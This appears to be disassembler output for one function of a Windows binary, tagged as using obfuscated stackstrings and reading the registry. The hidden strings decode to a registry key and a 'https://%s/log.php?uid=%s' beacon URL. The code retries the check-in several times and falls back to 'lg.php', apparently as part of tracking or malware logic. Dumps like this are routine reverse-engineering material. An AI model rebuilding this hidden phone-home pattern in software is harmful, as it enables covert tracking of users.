Function at 0x14006a5c0
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x248]
sub rsp, 0x320
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14009d810]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov dword [rbp - 0x60], 0x74666f53
mov dword [rbp - 0x59], 0x55455c65
mov word [rbp - 0x55], 0x4b44
mov word [rbp - 0x5c], 0x6177
mov byte [rbp - 0x53], 0
mov byte [rbp - 0x5a], WSACleanup
lea rcx, str.x__b_
mov rax, qword [str.x__b_]
call qword [rax + Ordinal_26]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x30], rbx
lea rcx, [rbp - 0x60]
lea rax, [rbp - 0x60]
xor r13d, r13d
or r14, 0xffffffffffffffff
test rax, 0xffffffffffff0000
jne 0x14006a680
movzx edi, cx
mov ecx, edi
call fcn.140005b20
test rax, rax
je 0x14006a75e
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140005c70
mov rbx, qword [rsp + 0x30]
jmp 0x14006a75e
lea rax, [rbp - 0x60]
mov rdi, r14
inc rdi
cmp byte [rax + rdi], r13b
jne 0x14006a687
test edi, edi
jne 0x14006a6ec
lea rdx, [rbx - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], r13d
je 0x14006a75e
cmp dword [rdx + 0x10], r13d
jge 0x14006a6c8
cmp dword [rbx - 0xc], r13d
jge 0x14006a6bc
mov ecx, 0x80070057
call fcn.140006270
int3
mov dword [rbx - 0x10], r13d
mov byte [rbx], r13b
jmp 0x14006a75e
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14006a6d8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + Ordinal_26]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x30], rbx
jmp 0x14006a75e
mov r15d, dword [rbx - 0x10]
lea rsi, [rbp - 0x60]
sub rsi, rbx
test edi, edi
jns 0x14006a706
mov ecx, 0x80070057
call fcn.140006270
int3
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edi
or eax, ecx
jge 0x14006a728
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.140006160
mov rbx, qword [rsp + 0x30]
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
cmp rsi, r15
movsxd r15, edi
mov r9, r15
ja 0x14006a745
lea r8, [rsi + rbx]
call fcn.140044ba4
jmp 0x14006a74e
lea r8, [rbp - 0x60]
call fcn.140043e50
cmp edi, dword [rbx - 0xc]
jg 0x14006ac2b
mov dword [rbx - 0x10], edi
mov byte [r15 + rbx], r13b
mov byte [rbp - 0x10], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp - 0xf]
call fcn.1400467a0
mov edx, 0x104
lea rcx, [rbp - 0x10]
call fcn.14006a300
lea rcx, str.x__b_
mov rax, qword [str.x__b_]
call qword [rax + Ordinal_26]
lea rdi, [rax + 0x18]
mov qword [rsp + 0x38], rdi
lea rcx, [rbp - 0x10]
lea rax, [rbp - 0x10]
test rax, 0xffffffffffff0000
jne 0x14006a7d3
movzx edi, cx
mov ecx, edi
call fcn.140005b20
test rax, rax
je 0x14006a8bd
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140005c70
jmp 0x14006a8bd
lea rax, [rbp - 0x10]
mov rsi, r14
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14006a7e0
test esi, esi
jne 0x14006a84a
lea rdx, [rdi - 0x18]
mov rsi, qword [rdx]
cmp dword [rdx + 8], 0
je 0x14006a8bd
cmp dword [rdx + 0x10], 0
jge 0x14006a821
cmp dword [rdi - 0xc], 0
jge 0x14006a815
mov ecx, 0x80070057
call fcn.140006270
int3
mov dword [rdi - 0x10], r13d
mov byte [rdi], 0
jmp 0x14006a8bd
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14006a831
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x38], rax
mov rbx, qword [rsp + 0x30]
jmp 0x14006a8bd
mov r12d, dword [rdi - 0x10]
lea r15, [rbp - 0x10]
sub r15, rdi
test esi, esi
jns 0x14006a864
mov ecx, 0x80070057
call fcn.140006270
int3
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, esi
or eax, ecx
jge 0x14006a886
mov edx, esi
lea rcx, [rsp + 0x38]
call fcn.140006160
mov rdi, qword [rsp + 0x38]
movsxd rdx, dword [rdi - 0xc]
mov rcx, rdi
cmp r15, r12
movsxd r12, esi
mov r9, r12
ja 0x14006a8a3
lea r8, [r15 + rdi]
call fcn.140044ba4
jmp 0x14006a8ac
lea r8, [rbp - 0x10]
call fcn.140043e50
cmp esi, dword [rdi - 0xc]
jg 0x14006ac20
mov dword [rdi - 0x10], esi
mov byte [r12 + rdi], 0
lea r8, [0x1400937b8]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x70]
call fcn.140004fa0
nop
lea r8, [rsp + 0x30]
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140004ee0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14006a93b
cmp dword [rbx + 0x10], 0
jl 0x14006a92c
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14006a92c
call fcn.140005fc0
mov rdi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x14006a921
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.WS2_32.dll_htonl + 8]
lea rax, [rdi + 0x18]
mov qword [rsp + 0x30], rax
jmp 0x14006a93b
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140005e30
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14006a955
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14006a96f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14006a988
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x54], 4
mov dword [rsp + 0x50], 4
mov dword [rbp - 0x4f], 0x65747379
mov dword [rbp - 0x4b], 0x4455456d
mov dword [rbp - 0x43], 0x70795474
mov word [rbp - 0x3f], 0x65
mov byte [rbp - 0x50], 0x53
mov word [rbp - 0x46], 0x6f46
mov byte [rbp - 0x44], WSASetLastError
mov byte [rbp - 0x47], 0x4b
lea rax, [rsp + 0x54]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x50]
mov rdx, qword [rsp + 0x30]
mov rcx, 0xffffffff80000003
call qword [sym.imp.SHLWAPI.dll_SHGetValueA]
cmp dword [rsp + 0x40], 1
jne 0x14006ac05
lea rcx, str.x__b_
mov rax, qword [str.x__b_]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x48], rax
mov dword [rbp - 0x19], 0x313d73
mov dword [rbp - 0x28], 0x753f7068
mov dword [rbp - 0x1e], 0x73253d6d
mov dword [rbp - 0x37], 0x73707474
mov word [rbp - 0x30], 0x7325
mov word [rbp - 0x33], 0x2f3a
mov dword [rbp - 0x2d], 0x2e676f6c
mov word [rbp - 0x23], 0x3d64
mov byte [rbp - 0x38], 0x68
mov byte [rbp - 0x31], Ordinal_50
mov word [rbp - 0x20], 0x2673
mov byte [rbp - 0x21], 0x25
mov byte [rbp - 0x29], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp - 0x2e], Ordinal_50
mov byte [rbp - 0x1a], Ordinal_41
mov byte [rbp - 0x24], 0x69
lea rcx, [rsp + 0x60]
call fcn.140072170
mov rbx, rax
lea rcx, [rsp + 0x58]
call fcn.140004560
nop
lea rcx, str.3471fbcbc29740c8b70cdd59988f654e
mov qword [rsp + 0x20], rcx
mov r9, qword [rbx]
mov r8, qword [rax]
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x48]
call fcn.140005810
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14006aac8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14006aae1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov esi, r13d
mov rbx, qword [rsp + 0x48]
nop dword [rax]
cmp esi, 3
jne 0x14006ab12
lea r8, str.lg.php
lea rdx, str.log.php
lea rcx, [rsp + 0x48]
call fcn.140004910
mov rbx, qword [rsp + 0x48]
mov byte [rbp + 0x100], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x101]
call fcn.1400467a0
mov edx, 0x104
lea rcx, [rbp + 0x100]
call fcn.14006a300
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x70], r13
mov byte [rbp - 0x80], 0
lea r8, [rbp - 0x80]
mov rdx, rbx
call fcn.1400752a0
test al, al
je 0x14006abb9
lea rcx, [rbp - 0x80]
mov r12, qword [rbp - 0x80]
mov r15, qword [rbp - 0x68]
cmp r15, 0x10
cmovae rcx, r12
mov r8d, 1
mov rdi, qword [rbp - 0x70]
cmp rdi, r8
cmovb r8, rdi
test r8, r8
jne 0x14006ab8d
mov eax, r13d
jmp 0x14006ab99
lea rdx, [0x140093828]
call fcn.1400481c0
cdqe
test rax, rax
jne 0x14006abb5
cmp rdi, 1
jae 0x14006abab
mov eax, r14d
jmp 0x14006abb5
mov eax, r13d
cmp rdi, 1
setne al
test eax, eax
je 0x14006abe1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp qword [rbp - 0x68], 0x10
jb 0x14006abd5
mov rcx, qword [rbp - 0x80]
call fcn.140042ad8
inc esi
cmp esi, 6
jge 0x14006abf0
jmp 0x14006aaf0
cmp r15, 0x10
jb 0x14006abf0
mov rcx, r12
call fcn.140042ad8
nop
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14006ac05
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14006ac36
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x14006ac36
mov ecx, 0x80070057
call fcn.140006270
nop
mov ecx, 0x80070057
call fcn.140006270
nop
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140042af0
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret